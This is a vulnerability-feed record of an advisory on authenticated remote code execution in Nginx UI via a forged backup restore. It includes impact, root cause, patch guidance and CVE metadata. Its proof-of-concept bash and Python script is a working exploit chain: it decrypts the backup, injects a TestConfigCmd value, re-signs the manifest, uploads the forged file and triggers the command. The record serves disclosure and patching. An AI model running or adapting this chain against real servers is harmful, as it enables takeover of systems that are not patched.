{"schema":"threatline.record/2","record":{"id":"CVE-2026-107806","aliases":["GHSA-p393-cf76-4jmr","GO-2026-6741"],"summary":"Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite","details":"## Summary\n\nAn authenticated nginx-ui user can call `POST /api/restore`, upload a forged encrypted backup, restore `app.ini`, set nginx command settings such as `TestConfigCmd`, and then trigger command execution with `POST /api/nginx/test`.\n\nThis was validated on nginx-ui `2.3.11 2(523) 6c86e5a5` in the local Docker container `uozi/nginx-ui:latest`.\n\n\n\n\n## Impact\n\nAn authenticated user can overwrite nginx-ui application configuration and database state through restore, including protected settings that are normally not writable through the settings API. By setting nginx command fields in the restored `app.ini`, the attacker can execute commands in the nginx-ui runtime context. This affects confidentiality, integrity, and availability because the attacker can read or replace secrets, change node/JWT secrets, corrupt application state, and execute arbitrary commands.\n\n## Affected Version / Environment\n\n- Version: `nginx-ui 2.3.11 2(523) 6c86e5a5`\n- Deployment: local Docker, `uozi/nginx-ui:latest`\n- Base URL used in validation: `http://127.0.0.1:8080`\n\n\n## Root Cause\n\n`/api/restore` is reachable through normal authenticated-user authorization. The restore handler accepts attacker-supplied backup key material, validates the manifest with a key derived from that supplied AES key, decrypts attacker-controlled backup contents, and copies restored `app.ini` into the live nginx-ui config path.\n\nRelevant code paths:\n\n- `api/backup/router.go`: `POST /api/restore`\n- `api/backup/restore.go`: accepts `security_token` and uploaded backup file\n- `internal/backup/manifest.go`: derives backup signing key from supplied AES key\n- `internal/backup/restore.go`: `restoreNginxUIConfig` overwrites live `app.ini`\n- `internal/nginx/exec.go`: nginx command settings execute through shell-backed command paths\n\n## Proof of Concept\n\nAssumptions:\n\n- nginx-ui is already running.\n- `$TOKEN` is a valid user JWT.\n- `$CONTAINER` is the local disposable Docker container name for cleanup and evidence checks.\n\n```bash\nexport BASE='http://127.0.0.1:8080'\nexport TOKEN='<valid nginx-ui JWT>'\nexport CONTAINER='nginx-ui'\n```\n\nRun only against a disposable local instance.\n\n```bash\nset -eu\n\nTMP=$(mktemp -d)\ntrap 'rm -rf \"$TMP\"' EXIT\n\ndocker cp \"$CONTAINER\":/etc/nginx-ui/app.ini \"$TMP/app.ini.original\"\n\ncurl -sS -D \"$TMP/backup.headers\" -o \"$TMP/backup.zip\" \\\n  -H \"Authorization: $TOKEN\" \\\n  \"$BASE/api/backup\"\n\nSEC=$(awk 'BEGIN{IGNORECASE=1} /^X-Backup-Security:/{gsub(\"\\r\",\"\"); print $2}' \"$TMP/backup.headers\")\nKEY_B64=${SEC%%:*}\nIV_B64=${SEC#*:}\nKEY_HEX=$(printf '%s' \"$KEY_B64\" | base64 -d | xxd -p -c 256)\nIV_HEX=$(printf '%s' \"$IV_B64\" | base64 -d | xxd -p -c 256)\n\nmkdir -p \"$TMP/outer\" \"$TMP/inner\"\nunzip -q \"$TMP/backup.zip\" -d \"$TMP/outer\"\nopenssl enc -d -aes-256-cbc -K \"$KEY_HEX\" -iv \"$IV_HEX\" -nosalt \\\n  -in \"$TMP/outer/nginx-ui.zip\" \\\n  -out \"$TMP/nginx-ui.clear.zip\"\nunzip -q \"$TMP/nginx-ui.clear.zip\" -d \"$TMP/inner\"\n\npython3 - \"$TMP/inner/app.ini\" <<'PY'\nfrom pathlib import Path\nimport sys\n\np = Path(sys.argv[1])\ncmd = \"TestConfigCmd = printf restored-rce >/tmp/nginx-ui-restore-rce\"\nlines = p.read_text().splitlines()\nout = []\nin_nginx = False\nseen_nginx = False\nwritten = False\n\nfor line in lines:\n    s = line.strip()\n    if s.startswith(\"[\") and s.endswith(\"]\"):\n        if in_nginx and not written:\n            out.append(cmd)\n            written = True\n        in_nginx = s.lower() == \"[nginx]\"\n        seen_nginx = seen_nginx or in_nginx\n    if in_nginx and s.startswith(\"TestConfigCmd\"):\n        if not written:\n            out.append(cmd)\n            written = True\n        continue\n    out.append(line)\n\nif in_nginx and not written:\n    out.append(cmd)\nelif not seen_nginx:\n    out.extend([\"\", \"[nginx]\", cmd])\n\np.write_text(\"\\n\".join(out) + \"\\n\")\nPY\n\n(cd \"$TMP/inner\" && zip -qr \"$TMP/nginx-ui.modified.clear.zip\" .)\nopenssl enc -aes-256-cbc -K \"$KEY_HEX\" -iv \"$IV_HEX\" -nosalt \\\n  -in \"$TMP/nginx-ui.modified.clear.zip\" \\\n  -out \"$TMP/outer/nginx-ui.zip\"\n\nOUTER=\"$TMP/outer\" KEY_B64=\"$KEY_B64\" python3 <<'PY'\nfrom pathlib import Path\nimport base64\nimport hashlib\nimport hmac\nimport json\nimport os\n\nouter = Path(os.environ[\"OUTER\"])\nkey = base64.b64decode(os.environ[\"KEY_B64\"])\nmanifest = json.loads((outer / \"manifest.json\").read_text())\n\nfor entry in manifest[\"files\"]:\n    data = (outer / entry[\"name\"]).read_bytes()\n    entry[\"sha256\"] = hashlib.sha256(data).hexdigest()\n    entry[\"size\"] = len(data)\n\nmanifest[\"files\"] = sorted(manifest[\"files\"], key=lambda e: e[\"name\"])\nmanifest_bytes = json.dumps(manifest, separators=(\",\", \":\")).encode()\n(outer / \"manifest.json\").write_bytes(manifest_bytes)\n\nsigning_key = hashlib.sha256(b\"nginx-ui-backup-signing-v1:\" + key).digest()\n(outer / \"manifest.sig\").write_text(hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest())\nPY\n\n(cd \"$TMP/outer\" && zip -qr \"$TMP/malicious-restore.zip\" manifest.sig nginx-ui.zip nginx.zip manifest.json)\n\ncurl -sS -X POST \"$BASE/api/restore\" \\\n  -H \"Authorization: $TOKEN\" \\\n  -F \"restore_nginx=false\" \\\n  -F \"restore_nginx_ui=true\" \\\n  -F \"verify_hash=true\" \\\n  -F \"security_token=$SEC\" \\\n  -F \"backup_file=@$TMP/malicious-restore.zip\"\n\nsleep 10\nfor i in $(seq 1 80); do\n  curl -sS -o /dev/null -H \"Authorization: $TOKEN\" \"$BASE/api/settings\" && break\n  sleep 0.5\ndone\n\ncurl -sS -X POST \"$BASE/api/nginx/test\" \\\n  -H \"Authorization: $TOKEN\"\n\ndocker exec \"$CONTAINER\" sh -lc 'cat /tmp/nginx-ui-restore-rce'\n\n# Cleanup and return the disposable instance to its original config.\ndocker cp \"$TMP/app.ini.original\" \"$CONTAINER\":/etc/nginx-ui/app.ini\ndocker exec \"$CONTAINER\" sh -lc 'rm -f /tmp/nginx-ui-restore-rce'\ndocker restart \"$CONTAINER\"\n```\n\nExpected output:\n\n```text\n{\"nginx_ui_restored\":true,\"nginx_restored\":false,\"hash_match\":true}\n{\"message\":\"\",\"level\":-1,\"test_scope\":\"global\"}\nrestored-rce\n```\n\n## Cleanup\n\nThe PoC performs cleanup at the end. If interrupted, restore the original `app.ini` from a known-good backup, remove `/tmp/nginx-ui-restore-rce`, and restart nginx-ui before continuing other tests.\n\n## Patch Guidance\n\nRequire an elevated/admin secure session for restore, do not allow ordinary authenticated users to restore nginx-ui app state, bind backup manifest signatures to a server-side secret or administrator-held passphrase, and block protected app settings from being restored unless explicitly approved through a hardened migration path.","categories":["Web servers"],"product":"github.com/0xJacky/Nginx-UI","vendor":"0xJacky","ecosystem":"go","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-p393-cf76-4jmr","source_modified_at":"2026-10-09T20:45:03Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"github.com/0xJacky/Nginx-UI"},"range":">= 1.9.10-0.20260421071512-7864e378f5cf, < 1.9.10-0.20260728074146-a467ed652591"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-107806","source_modified_at":"2026-10-14T01:52:48.127Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"nginx-ui","vendor":"0xJacky","versions":[{"version":">= 2.3.8, < 2.5.0","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-p393-cf76-4jmr","source_modified_at":"2026-10-19T21:41:10.824670129Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"github.com/0xJacky/Nginx-UI","ecosystem":"Go","purl":"pkg:golang/github.com/0xJacky/Nginx-UI"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.9.10-0.20260421071512-7864e378f5cf"},{"fixed":"1.9.10-0.20260728074146-a467ed652591"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-p393-cf76-4jmr","source_modified_at":"2026-10-09T20:45:03Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"github.com/0xJacky/Nginx-UI"},"version":"1.9.10-0.20260728074146-a467ed652591"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-p393-cf76-4jmr","source_modified_at":"2026-10-19T21:41:10.824670129Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"github.com/0xJacky/Nginx-UI","ecosystem":"Go","purl":"pkg:golang/github.com/0xJacky/Nginx-UI"},"version":"1.9.10-0.20260728074146-a467ed652591"}],"cvss":9,"severity":"Critical","kev":{"listed":false},"epss":{"probability":0.00405,"percentile":0.33612,"score_date":"2026-10-23"},"published_at":"2026-10-09T15:00:55.470Z","modified_at":"2026-10-19T21:41:10.824670129Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-p393-cf76-4jmr","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-09T20:45:03Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-107806","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-14T01:52:48.127Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-p393-cf76-4jmr","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-19T21:41:10.824670129Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107806","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-p393-cf76-4jmr","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107806","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/0xJacky/nginx-ui/commit/a467ed652591fc0cd1b466a1ec751b493faef9f7","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/0xJacky/nginx-ui/releases/tag/v2.5.0","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-p393-cf76-4jmr","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"total","assessed_at":"2026-10-14T01:52:14.582466Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"product","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-19T21:41:10.824670129Z","content_hash":"1cc5bf761b1a2e31c49a291e7334f6321078db4251bfc0fdf37360213e8124ed"}}